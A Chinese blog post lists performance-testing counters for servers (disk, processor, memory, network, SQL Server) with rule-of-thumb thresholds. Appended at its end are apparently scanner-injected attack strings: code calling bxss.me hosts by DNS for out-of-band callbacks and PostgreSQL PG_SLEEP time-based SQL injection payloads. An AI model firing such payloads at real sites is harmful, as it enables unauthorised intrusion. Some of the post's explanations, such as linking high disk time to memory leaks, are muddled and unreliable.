Misty rain
性能测试服务器常用监测指标
性能测试中,对服务器资源进行实时监控中常用的指标
PhysicalDisk--磁盘
1.%Disk Time-磁盘时间百分比 (磁盘利用率)
为读或写请求提供服务所用的时间是百分比,放映磁盘工作的繁忙程度。若数值持续超过80%,则可能是内存泄漏。
2.Avg.Disk Queue Length平均磁盘队列长度(处理列队中的队列的平均长度)
读取和写入请求(为磁盘在实例间隔中队列的)平均数,处理器瓶颈会导致该值持续大于2,超过2这可能表示处理器堵塞不同时监视线程计数,这计数始终为0。
3.Disk Transfer/sec每秒磁盘传输数(读取/写入操作速率)
正常值<(Disk Bytes/sec)/3,此值过大表示系统要求的IO速度已接近硬盘的最大速度,要更换更快的硬盘。
Processor-处理器
1.%Processor Time -------处理器时间百分比(CPU的占用率)
处理器执行行非空闲线程的时间百分比。如果该值持续超过95%,表明瓶颈是CPU,可考虑增加一个处理器或换一个更快的处理器。
2.working set—工作集(分配给进程的内存总数)
它包括共享内存以及正在使用虚拟内存的私有内存,监控working set是非常重要的,因为当内存不足的时候,操作系统会整理进程的working set和paging。进程的working set是由操作系统分配给进程的物理内存总量
Memory--内存
1.Available MBytes-------可用兆字节(物理内存的可用数)
指计算机上可用于运行处理的有效物理内存的字节数量。这个计数器只显示上一次观察到的值;它不是一个平均值。
至少要有10%的物料内存值,如果Available MBytes值一直很小(4M或是更小),说明计算机总的内存可能不足,或某程序没有放内存。怀疑有内存泄露 ,则重点关注该项。
Server—服务器
1.Bytes Total/sec (Bytes Sent/sec +Bytes Received/sec )——每秒字节数总计(字节传输速率)
为发送和接收字节的速率之和,包括帧字符在内。判断网络连接速度是否是瓶颈,可以用该计数器的值和目前网络的带宽比较。参考值:该值和目前网络的带宽相除,结果应该小于50%。
2.Pool Paged Failures—池已分页错误(分页池的失败数)
从分页池分配时失败的次数。这种失败说明计算机的物理内存或分页文件太小。
System--系统
1.File Data Operations/sec——每秒文件数据操作(进程入交换率)
在计算机的所有逻辑磁盘上读取和写入操作的综合速度。
2.Processor Queue Length----------处理器队列长度(处理列队中的线程数)
指处理列队中的线程数,它只计数就绪的线程,而不计数运行中的线程。
如果处理器列队中总是有两个以上的线程,通常表示处理器堵塞。这个计数仅显示上一次观察的值;而不是一个平均值。它的参考值一般小于2,如果持续高于2个并且处理器的利用率一直很低,有可能是处理器出现瓶颈。
1 SQLServer资源监控中指标缓存点击率(Cache Hit Ratio),该值越高越好。如果持续低于80%,应考虑增加内存。
2 如果Full Scans/sec(全表扫描/秒)计数器显示的值比1或2高,则应分析你的查询以确定是否确实需要全表扫描,以及SQL查询是否可以被优化。
3 Number of Deadlocks/sec(死锁的数量/秒):死锁对应用程序的可伸缩性非常有害,并且会导致恶劣的用户体验。该计数器的值必须为0。
4 Lock Requests/sec(锁请求/秒),通过优化查询来减少读取次数,可以减少该计数器的值。
平均事务响应时间
Average Transation Response Time
优秀:<2s
良好:2-5s
及格:6-10s
不及格:>10s
CPU利用率
Processor / %Processor Time
好:70%
坏:85%
很差:90%+
剩余的可以内存
Memory / Avaiable Mbytes 至少要有10%
的物理内存值
物理磁盘利用率
Physical Disk / %Disk Time
好:<30%
坏:<40%
很差:<50%+
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'.gethostbyname(lc('hitoq'.'orodypha2b62c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(65).chr(113).chr(84).'
"+"A".concat(70-3).concat(22*4).concat(120).concat(80).concat(112).concat(74)+(require"socket"
Socket.gethostbyname("hitmt"+"dsdkcbox6c955.bxss.me.")[3].to_s)+"
1
-5 OR 349=(SELECT 349 FROM PG_SLEEP(15))--
-5) OR 566=(SELECT 566 FROM PG_SLEEP(15))--
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